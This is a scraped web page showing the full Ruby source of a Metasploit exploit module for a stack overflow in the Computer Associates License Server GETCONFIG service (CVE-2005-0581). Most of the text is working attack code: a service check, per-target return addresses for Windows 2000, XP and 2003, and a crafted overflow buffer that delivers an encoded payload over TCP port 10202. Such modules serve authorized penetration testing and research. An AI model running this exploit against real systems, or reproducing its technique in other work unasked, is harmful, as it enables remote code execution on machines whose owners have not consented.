Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/license/calicserv_getconfig.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Computer Associates License Server GETCONFIG Overflow',13'Description' => %q{14This module exploits an vulnerability in the CA License Server15network service. By sending an excessively long GETCONFIG16packet the stack may be overwritten.17},18'Author' =>19[20'hdm', # original msf v2 module21'aushack', # msf v3 port :)22],23'License' => MSF_LICENSE,24'References' =>25[26[ 'CVE', '2005-0581' ],27[ 'OSVDB', '14389' ],28[ 'BID', '12705' ],29[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=213' ],30],31'Privileged' => true,32'DefaultOptions' =>33{34'EXITFUNC' => 'process',35},36'Payload' =>37{38'Space' => 600,39'BadChars' => "\x00\x20",40'StackAdjustment' => -3500,4142},43'Platform' => 'win',44'Targets' =>45[46# As much as I would like to return back to the DLL or EXE,47# all of those modules have a leading NULL in the48# loaded @ address :(49# name, jmp esi, writable, jmp edi50#['Automatic', {} ],51#52# aushack - tested OK Windows XP English SP0-1 only 2010021453['Windows 2000 English', { 'Rets' => [ 0x750217ae, 0x7ffde0cc, 0x75021421 ] } ], # ws2help.dll esi + peb + edi54['Windows XP English SP0-1', { 'Rets' => [ 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8 ] } ], # ws2help.dll esi + peb + edi55['Windows XP English SP2', { 'Rets' => [ 0x71aa1b22, 0x71aa5001, 0x71aa1e08 ] } ], # ws2help.dll esi + .data + edi56['Windows 2003 English SP0', { 'Rets' => [ 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c ] } ], # ws2help.dll esi + peb + edi57],58'DisclosureDate' => '2005-03-02'))5960register_options(61[62Opt::RPORT(10202),63])64end6566def check67connect68banner = sock.get_once69sock.put("A0 GETCONFIG SELF 0<EOM>")70res = sock.get_once || ''71disconnect72if (res =~ /OS\<([^\>]+)/)73vprint_status("CA License Server reports OS: #{$1}")74return Exploit::CheckCode::Detected75end76return Exploit::CheckCode::Safe77end7879def exploit80connect81banner = sock.get_once82if (banner !~ /GETCONFIG/)83print_status("The server did not return the expected greeting!")84end8586# exploits two different versions at once >:-)87# 144 -> return address of esi points to string middle88# 196 -> return address of edi points to string beginning89# 148 -> avoid exception by patching with writable address90# 928 -> seh handler (not useful under XP SP2)91buff = rand_text_alphanumeric(900)92buff[142, 2] = Rex::Arch::X86.jmp_short(8) # jmp over addresses93buff[144, 4] = [target['Rets'][0]].pack('V') # jmp esi94buff[148, 4] = [target['Rets'][1]].pack('V') # writable address95buff[194, 2] = Rex::Arch::X86.jmp_short(4) # jmp over address96buff[196, 4] = [target['Rets'][2]].pack('V') # jmp edi97buff[272, payload.encoded.length] = payload.encoded9899sploit = "A0 GETCONFIG SELF #{buff}<EOM>"100sock.put(sploit)101102handler103disconnect104end105end106107=begin108eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>109BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>110lic98rmt.exe v0.1.0.15: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.61.0>NETWORK<192.168.139.128 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>111=end112113114